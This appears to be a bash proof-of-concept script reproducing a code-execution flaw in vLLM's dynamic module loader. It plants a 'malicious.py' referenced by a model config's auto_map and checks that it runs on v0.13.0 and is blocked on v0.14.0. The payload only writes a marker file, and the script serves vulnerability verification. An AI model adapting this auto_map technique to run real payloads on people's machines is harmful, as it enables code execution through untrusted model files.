#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "$0")/.." && pwd)"
RUN_ROOT="$(cd "$ROOT/.." && pwd)"
LOG_DIR="$ROOT/logs"
MODEL_DIR="$ROOT/repro/tmp_model"
REPO_BASE="$RUN_ROOT/repo"
REPO_VULN="$RUN_ROOT/repo_vuln"
REPO_FIXED="$RUN_ROOT/repo_fixed"

mkdir -p "$LOG_DIR"

cleanup() {
  if [[ -n "${BG_PID:-}" ]]; then
    kill "$BG_PID" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT

python -m ensurepip --upgrade >/dev/null 2>&1 || true
python -m pip install --quiet transformers==4.45.0 huggingface_hub==0.25.2 safetensors==0.4.5

if [[ ! -d "$REPO_BASE/.git" ]]; then
  rm -rf "$REPO_BASE"
  git clone https://github.com/vllm-project/vllm.git "$REPO_BASE"
fi

if [[ ! -d "$REPO_VULN" ]]; then
  git -C "$REPO_BASE" worktree add "$REPO_VULN" v0.13.0
fi

if [[ ! -d "$REPO_FIXED" ]]; then
  git -C "$REPO_BASE" worktree add "$REPO_FIXED" v0.14.0
fi

rm -rf "$MODEL_DIR"
mkdir -p "$MODEL_DIR"

cat > "$MODEL_DIR/config.json" << 'JSON'
{
  "auto_map": {
    "AutoConfig": "malicious.MyConfig",
    "AutoModel": "malicious.MyModel"
  }
}
JSON

export LOG_DIR MODEL_DIR REPO_VULN REPO_FIXED

# Attempt 1: direct dynamic module load with vulnerable helper
rm -f "$LOG_DIR/pwned_attempt1.txt"
cat > "$MODEL_DIR/malicious.py" << PY
import os
open(os.path.join("$LOG_DIR", "pwned_attempt1.txt"), "w").write("pwned1")
class MyConfig:
    pass
class MyModel:
    pass
PY

python - <<'PY' | tee "$LOG_DIR/attempt1.log"
import importlib, sys, types, os
repo = os.environ["REPO_VULN"]
model_dir = os.environ["MODEL_DIR"]
log_file = os.path.join(os.environ["LOG_DIR"], "pwned_attempt1.txt")
# Bypass vllm.__init__ (which imports torch) by seeding a dummy package
vllm_pkg = types.ModuleType("vllm")
vllm_pkg.__path__ = [repo + "/vllm"]
sys.modules["vllm"] = vllm_pkg
mod = importlib.import_module("vllm.transformers_utils.dynamic_module")
cls = mod.try_get_class_from_dynamic_module("malicious.MyConfig", model_dir, warn_on_fail=False)
print("loaded", cls)
print("pwned_exists", os.path.exists(log_file))
PY

# Attempt 2: simulate registry auto_map loop
rm -f "$LOG_DIR/pwned_attempt2.txt"
cat > "$MODEL_DIR/malicious.py" << PY
import os
open(os.path.join("$LOG_DIR", "pwned_attempt2.txt"), "w").write("pwned2")
class MyConfig:
    pass
class MyModel:
    pass
PY

python - <<'PY' | tee "$LOG_DIR/attempt2.log"
import importlib, sys, types, os, json
repo = os.environ["REPO_VULN"]
model_dir = os.environ["MODEL_DIR"]
log_file = os.path.join(os.environ["LOG_DIR"], "pwned_attempt2.txt")
with open(os.path.join(model_dir, "config.json")) as f:
    auto_map = json.load(f).get("auto_map", {})
# Seed dummy vllm package to avoid torch import
vllm_pkg = types.ModuleType("vllm")
vllm_pkg.__path__ = [repo + "/vllm"]
sys.modules["vllm"] = vllm_pkg
mod = importlib.import_module("vllm.transformers_utils.dynamic_module")
for prefix in ("AutoConfig", "AutoModel"):
    for name, module in auto_map.items():
        if name.startswith(prefix):
            mod.try_get_class_from_dynamic_module(module, model_dir, warn_on_fail=False)
print("pwned_exists", os.path.exists(log_file))
PY

# Attempt 3: fixed version should block when trust_remote_code is False
rm -f "$LOG_DIR/pwned_fixed.txt"
cat > "$MODEL_DIR/malicious.py" << PY
import os
open(os.path.join("$LOG_DIR", "pwned_fixed.txt"), "w").write("pwned_fixed")
class MyConfig:
    pass
class MyModel:
    pass
PY

python - <<'PY' | tee "$LOG_DIR/attempt3_fixed.log"
import importlib, sys, types, os
repo = os.environ["REPO_FIXED"]
model_dir = os.environ["MODEL_DIR"]
log_file = os.path.join(os.environ["LOG_DIR"], "pwned_fixed.txt")
# Seed dummy vllm package to avoid torch import
vllm_pkg = types.ModuleType("vllm")
vllm_pkg.__path__ = [repo + "/vllm"]
sys.modules["vllm"] = vllm_pkg
mod = importlib.import_module("vllm.transformers_utils.dynamic_module")
cls = mod.try_get_class_from_dynamic_module(
    "malicious.MyConfig",
    model_dir,
    trust_remote_code=False,
    warn_on_fail=False,
)
print("loaded", cls)
print("pwned_exists", os.path.exists(log_file))
PY

if [[ -f "$LOG_DIR/pwned_attempt1.txt" && -f "$LOG_DIR/pwned_attempt2.txt" && ! -f "$LOG_DIR/pwned_fixed.txt" ]]; then
  echo "Reproduction successful: code executed on vulnerable versions only." | tee "$LOG_DIR/summary.log"
  exit 0
fi

echo "Reproduction failed: expected evidence files missing." | tee "$LOG_DIR/summary.log"
exit 1